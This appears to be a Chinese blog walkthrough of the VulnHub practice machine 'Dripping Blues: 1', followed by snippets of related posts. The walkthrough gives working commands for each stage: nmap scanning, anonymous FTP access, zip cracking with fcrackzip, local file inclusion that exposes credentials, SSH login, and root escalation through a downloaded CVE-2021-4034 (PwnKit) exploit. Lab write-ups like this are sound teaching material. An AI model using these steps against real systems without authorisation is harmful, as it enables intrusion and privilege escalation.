vulnhub靶场-DRIPPING BLUES: 1

最新推荐文章于 2024-03-08 10:57:30 发布
最新推荐文章于 2024-03-08 10:57:30 发布
阅读量209 收藏
点赞数
分类专栏： 打靶 文章标签： 网络安全 Powered by 金山文档
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/yc11223344/article/details/129770412
版权

环境信息

攻击机：192.168.20.16

靶机：192.168.20.136

渗透过程

主机发现

arp-scan -l

端口扫描

nmap -T4 -sV -p- -A 192.168.20.136

开放了21，22，80端口，开放了ftp服务，ssh服务，web服务

21端口

FTP服务有时可以使用anonymous用户进行无密码登录

所以我们尝试是否能登陆进去

ftp 192.168.20.136

登录后ls查看一下目录里有一个respectmydrip.zip文件

将文件下载到本地

get respectmydrip.zip

压缩包加压需要密码，先收集其他信息

80端口

访问80端口有两个用户travisscott和thugger

通过目录扫描发现robots.txt路径

得到两个路径dripisreal.txt和/etc/dripispowerful.html分别进行访问

dripisreal.txt中得到的信息发现不出来什么信息

/etc/dripispowerful.html无法访问，在看地址怀疑有文件包含

fcrackzip密码破解

fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u respectmydrip.zip

对respectmydrip.zip进行密码暴力破解

解压之后获得respectmydrip.txt文件和secret.zip文件，respectmydrip.txt文件是一条信息：just focus on "drip"。secret.zip文件同样需要密码，但是这个未破解出来。

文件包含漏洞

尝试利用文件包含漏洞，用file、include包含html文件，均失败了，想到刚刚在压缩包文件下的内容just focus on "drip"，于是用drip进行文件包含

看到密码是imdrippinbiatch还提示用户是travisscott和thugger，这个时候尝试连接ssh服务

ssh服务

在包含etc/passwd文件时发现了thugger用户，我们尝试用此用户连接ssh

ssh thugger@192.168.20.136

id查看一个权限

ls查看本目录中的文件，发现user.txt

cat user.txt

打开发现第一个flag

提权

输入命令：sudo -l查看下当前可以使用的特权命令有哪些，显示不存在

find / -perm -4000 -type f 2>/dev/null

查看下具有root权限的文件，发现存在一个/usr/lib/policykit-1/polkit-agent-helper-1，可以使用CVE-2021-4034漏洞进行提权

wget https://github.com/nikaiw/CVE-2021-4034/archive/refs/heads/master.zip
unzip master.zip
cd CVE-2021-4034-master/
python3 cve2021-4034.py

提权成功后，使用id命令查看权限为root，进入到主目录cd /，查看到root目录下有root.txt文件，进行打开cat root.txt，得到第二个flag

结束

hang0c
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
【Vulnhub靶场】DRIPPING BLUES: 1
「 虚幻私塾」
01-26 379
Python微信订餐小程序课程视频 https://edu.csdn.net/course/detail/36074 Python实战量化交易理财系统 https://edu.csdn.net/course/detail/35475 环境准备 下载靶机，导入到vmware里面，这应该不用教了吧 这道题一开始并没有给我们靶机的ip地址，所以我们要自己探测一下，使用命令可以探测IP地址 arp-scan -l 攻击机IP地址为：192.168.2.15 靶机IP地址为：192.168.2.16 渗透开始
Python 2.1 Bible .pdf
08-18
Preface P ython is an object-oriented, interpreted programming language useful for a wide range of tasks, from small scripts to entire applications. It is freely avail- able in binary or source code form and can be used royalty-free on all major plat- forms including Windows, Macintosh, Linux, FreeBSD, and Solaris. Compared with most programming languages, Python is very easy to learn and is considered by many to be the language of choice for beginning programmers. Instead of outgrowing the language, however, experienced developers enjoy lower maintenance costs without missing out on any features found in other major lan- guages such as C++, Java, or Perl. Python is well known for its usefulness as a rapid application development tool, and we often hear of Python projects that finish in hours or days instead of the weeks or months that would have been required with traditional programming lan- guages. It boasts a rich, full-featured set of standard libraries as well as the ability to interface with libraries in other languages like C++. Despite being incredibly powerful and enabling very rapid application develop- ment, the real reason we love to use Python is that it’s just plain fun. Python is like a lever—with it, you can do some pretty heavy lifting with very little effort. It frees you from lots of annoying, mundane work, and before long you begin to wonder how you endured your pre-Python days. About This Book Although Python is a great first programming language, in this book we do assume that you already have some programming experience. The first section of the book introduces you to Python and tells you everything you need to know to get started. If you’re new to Python, then that section is definitely the place to start; otherwise, it serves as a useful language reference with many examples. We’ve worked hard to ensure that the book works well as a quick reference. Often the quickest way to understand a feature is to see it in use: Flip through the book’s pages and you’ll see that they are dripping with code examples.
Obi Fluid 3.2
10-12
Obi Fluid插件，亲测5.6.2可用 With Obi Fluid you can create fully multi-threaded AAA quality fluid simulations with ease. Fluids react to each other, can affect and be affected by rigid bodies (even make them float or sink!), and are capable of sticking to surfaces. Please note that fluid simulation is a very intensive task. Be aware of its performance implications before using it. Available for Windows, Mac, iOS and Android. Links Obi Website Community and Support Forum What to use it for: - Small scale fluid simulations - 2D fluid game mechanics - Dripping fluid - Splash effects What NOT to use it for: - Large scale fluid simulations - Pools, oceans, lakes, floods All physical properties or the fluid are adjustable: viscosity, density, surface tension, stickiness, vorticity... Features: - Custom emitter shapes. - Two-way rigid body interaction. - Modular solver: don't waste performance, all parameters are exposed. - Adjustable solver iteration count. - In-editor simulation preview. - Hassle-free particle resolution adjust using a single parameter. - Supports high density ratios in multiphase simulations. - Simulation state gets serialized -> save your fluids mid-simulation->instantiate them already warm-started. - Supports Box, Sphere, Capsule, Mesh, Character and Terrain colliders. - Automatic camera culling: non-visible fluids do not update their simulation.
英语作文结尾美句写作方法
03-05
How to Obtain Success No one would not like to achieve something in this world. Either for comfort or for fame, we all plan to succeed in one way or another. But how can we obtain success? To my mind, we ought to have a strong will before we begin to do anything. Just as the proverb says: “Where there is a will, there is a way”, nothing is impossible for a person with determination. Besides, we must apply our concentrated energy to the task we are doing. Concentrated energy, like constantly dripping water wearing holes in hard rock, will enable us to break down any obstacles. Persistence is also necessary for success. Do not give up no matter what difficulties might be met but stick to the task until we make it. In brief, to obtain success in life, one ought to have the three above mentioned qualities: strong will, concentrated energy and persistence.
Vulnhub靶机：drippingblues
qq_48904485的博客
01-05 453
运行环境：Virtualbox攻击机：kali（10.0.2.15）靶机：drippingblues（10.0.2.6）目标：获取靶机root权限和flag靶机下载地址：https://www.vulnhub.com/entry/dripping-blues-1,744/
每周打靶练习之DRIPPING BLUES: 1
chhsbsjs的博客
02-14 888
打开歌词的URL后发现单词量是真不少，看起来多少有点扯，假设这不是靶场环境，能将该文件放在服务器中的，除了网站管理员就是入侵者了，管理员没有必要将正确的ssh密码告诉黑客除非这是个圈套，如果是入侵者它肯定不希望自己拿下的成果被其他人掠夺，那么此处提示让入侵者去算单词并列的md5，最可能的目的是为了扰乱其他入侵者的思路，拖延时间，从而为继续扩大自己的攻击成果争取有利条件。使用nmap详细查看该IP的端口开放信息nmap，nmap -A 192.168.13.137，开放了21，22，80端口。
vulnhub靶场Dripping Blues: 1打靶记录
Bruce_lake的博客
04-24 145
给了两个文件，一个名字是drip is real.txt(drip是真的) ，一个名字是drip is powerful.txt(drip是强大的)。试了一下，没有目录穿越的漏洞，整个.%2e/%2e%2e/%2e%2e/%2e%2e/etc/dripispowerful.html靶机只会把%2e过滤掉。去passwd文件看看，这个叫thugger的很可疑啊，主页面也有这个名字。打开压缩包发现是另外一个要密码的压缩包和一个txt文件，这个txt文件写的是"就只要关注于drip"，啥意思却摸不到头绪。
vulnhub刷题记录（Dripping Blues: 1）
ailx10
08-21 248
英文名称：Dripping Blues: 1中文名称：滴水蓝调：1发布日期：2021 年 9 月 19 日难度：容易描述：关于 vm：测试并从 virtualbox 导出。启用 dhcp 和嵌套 vtx/amdv。您可以通过电子邮件与我联系以获取故障排除或问题。下载地址：https://www.vulnhub.com/entry/empire-breakout,751/ 1、主机发现，IP地址为...
drippingblues-靶机渗透
weixin_52111404的博客
08-26 569
渗透,文件包含,使用cve提权,使用正在运行进程的漏洞进行提权
fun-ids:阅读 node.js 的 ID 很有趣
06-15
dripping-loathing 惊人的。 简单的 ID 供您大声说出和分享。 用法 只需npm install fun-ids然后： var fun_ids = require('fun-ids'); console.log(fun_ids.new_id()); 根据需要编辑adjectives.json和nouns.json ...
Blender插件-路径绘制模型生成器 Scribble Gen
07-06
【插件简介】 Scribble Gen 可以根据你绘制的路径，生成各种模型，比如墙面、链条、粒子、曲线等。 Using the power of geometry nodes, ...Dripping Particles Particle Flow Scatter Simple Curve Volume Curve
Vulnhub：drippingblues
最新发布
imawuya的博客
03-08 946
Vulnhub：drippingblues
【Vulnhub靶场】DRIPPING BLUES: 1 通关writeup
weixin_44588899的博客
05-17 588
环境 下载地址：https://download.vulnhub.com/drippingblues/drippingblues.ova.torrent 攻击机地址： 192.168.0.106 靶机地址： 使用命令： arp-scan -l 探测发现是：192.168.0.104 开始探测 nmap -T4 -p- -A 192.168.0.104 发现开放21、22、80端口，这里发现21可以匿名访问，还可以下载一个压缩包，下载打开需要密码 使用工具爆破密码 fcrackzip -D
Vulnhub-DRIPPING BLUES: 1
Re1_zf的博客
01-29 284
1、密码爆破fcrackzip2、兔子洞注意（故意放出的疑似漏洞点，主要是为了让攻击者浪费时间）3、文件包含漏洞，需要找到参数4、ssh连接注意用户名小写5、polkited提权：https://github.com/Almorabea/Polkit-exploit。
vulnhub实战：DRIPPING BLUES 1
huangyongkang666的博客
04-30 2748
vulnhub实战：DRIPPING BLUES: 1 1.安装部署 下载链接： https://download.vulnhub.com/drippingblues/drippingblues.ova 下载之后使用VMware打开.ova文件，打开结果，设置为Net模式 攻击机：kail 2.信息收集 1.扫描此IP段中存活的靶机IP arp-scan -l 找到靶机ip：192.168.241.135 2.端口扫描 nmap -A -p- -T4 192.168.241.135 发现开放了
linux隐藏文件导出,在Linux命令行中隐藏图像内的文件
weixin_42504858的博客
04-28 176
本文介绍在Linux命令行中隐藏图像内的文件的方法，它不需要借助任何软件的操作，此方法的一个缺点是我们无法向图像文件添加任何密码。前言我有一个名为image.jpg的图像文件和一个名为sk的目录，在这个目录中，有一个名为secret.txt的文件，它有一些机密信息，这是我们要嵌入image.jpg文件的文件，你可以将要隐藏的任意数量的文件放在此目录中，然后，我将压缩目录sk并将其保存为secret...
zip伪加密方法
qq_53030229的博客
11-10 683
文章目录一、题目：[ACTF新生赛2020]swp1、使用wireshark打开2、使用ZipCenOp.jar修复3、使用010打开得到flag 一、题目：[ACTF新生赛2020]swp 工具地址(这是我在网上找的)：https://blog.csdn.net/pdsu161530247/article/details/73612910/ 1、使用wireshark打开 导出http文件 发现一个压缩包文件，但是被伪加密 2、使用ZipCenOp.jar修复 java -jar ZipCenOp.ja
一文解读，网络安全行业人才需求情况《网络安全产业人才发展报告》
weixin_59086772的博客
10-18 8275
随着近几天国家网络安全宣传周在全国各地开展活动，网络安全再一次成为热门话题。网络安全不再缩在小小的安全圈子里，惠及面越来越广。不少对网络安全颇有兴趣的朋友非常关心行业前景如何？该怎么提升自我能力，更快地加入网安行列。 今天雨笋君就10月13日在网络安全宣传周上发布的《2021网络安全人才报告》进行一个简单的行业前景分析。 一、网络安全行业市场发展情况 网络时代生活越来越离不开网络，与此同时发生的网络安全攻击事件、非法入侵等等一系列事件都威胁着普通人的生活。没有网络安全保障，个人和企业等重.
模板方法模式说明及应用案例
03-29
System.out.println("Dripping coffee through filter..."); } public void addCondiments() { System.out.println("Adding sugar and milk..."); } } public class Tea extends Beverage { public void ...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值